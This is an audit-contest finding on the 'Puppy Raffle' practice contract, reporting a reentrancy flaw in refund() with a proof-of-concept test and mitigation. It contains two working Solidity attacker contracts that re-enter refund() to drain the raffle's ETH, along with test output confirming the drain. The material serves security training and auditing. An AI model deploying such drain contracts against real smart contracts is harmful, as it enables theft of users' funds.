Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() Allows Multiple Refunds

cryptostellar5

Root + Impact

Description

This issue allows a malicious player contract to re-enter refund() and withdraw the entrance fee multiple times before their slot is invalidated.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee); // external call
​
@> players[playerIndex] = address(0); // state update after call
emit RaffleRefunded(playerAddress);
}
​

The refund() function performs an external ETH transfer to msg.sender before updating critical contract state (players[playerIndex]).

This violates the Checks-Effects-Interactions pattern.

If msg.sender is a malicious contract, its receive() or fallback() function can re-enter refund() before the player slot is set to address(0).

Because the refund eligibility checks are still valid during re-entry, the attacker can withdraw the entrance fee multiple times.

Risk

Likelihood:

  • Attacker enters the raffle using a malicious contract.

  • Attacker calls refund(playerIndex).

  • Contract sends ETH to attacker.

  • Attacker’s receive() function is triggered.

  • Attacker re-calls refund(playerIndex) before the slot is cleared.

Steps 3–5 repeat until funds are drained.

Impact:

  • Multiple refunds for a single raffle entry

  • Theft of ETH belonging to other players

  • Raffle pool can be partially or fully drained

  • Breaks core economic assumptions of the protocol

Proof of Concept

function testReentrancyRefund() public {
​
// Deploy attacker
RefundReentrancyAttacker attacker =
new RefundReentrancyAttacker(puppyRaffle, 0);
​
// Enter raffle using attacker contract
address[] memory players = new address[](2);
players[0] = address(attacker);
players[1] = address(12);
​
puppyRaffle.enterRaffle{value: entranceFee*players.length}(players);
​
uint256 balanceBefore = address(attacker).balance;
console.log("Balance Before: ", balanceBefore);
​
// Execute attack
attacker.attack();
​
uint256 balanceAfter = address(attacker).balance;
​
console.log("Balance After: ", balanceAfter);
​
// Attacker received multiple refunds
assertGt(balanceAfter - balanceBefore, entranceFee);
}

Create the following attacker contract as well:

contract RefundReentrancyAttacker {
PuppyRaffle public raffle;
uint256 public playerIndex;
uint256 public calls;
​
constructor(PuppyRaffle _raffle, uint256 _playerIndex) {
raffle = _raffle;
playerIndex = _playerIndex;
}
​
receive() external payable {
​
while(address(raffle).balance > 0){
raffle.refund(playerIndex);
}
}
​
function attack() external {
raffle.refund(playerIndex);
}
}
​

The following output confirms that the attacker will be able to drain the smart contract by extracting entrance fees amount multiple times, till the balance is greater than 0

Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testReentrancyRefund() (gas: 320857)
Logs:
Balance Before: 0
Balance After: 2000000000000000000
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.08ms (368.59µs CPU time)

Recommended Mitigation

The checks-Effects-Interactions pattern needs to be followed and the following code can be used to mitigate the bug.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// EFFECTS
- payable(msg.sender).sendValue(entranceFee);
+ players[playerIndex] = address(0);
​
// INTERACTIONS
- players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
​
emit RaffleRefunded(playerAddress);
}
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!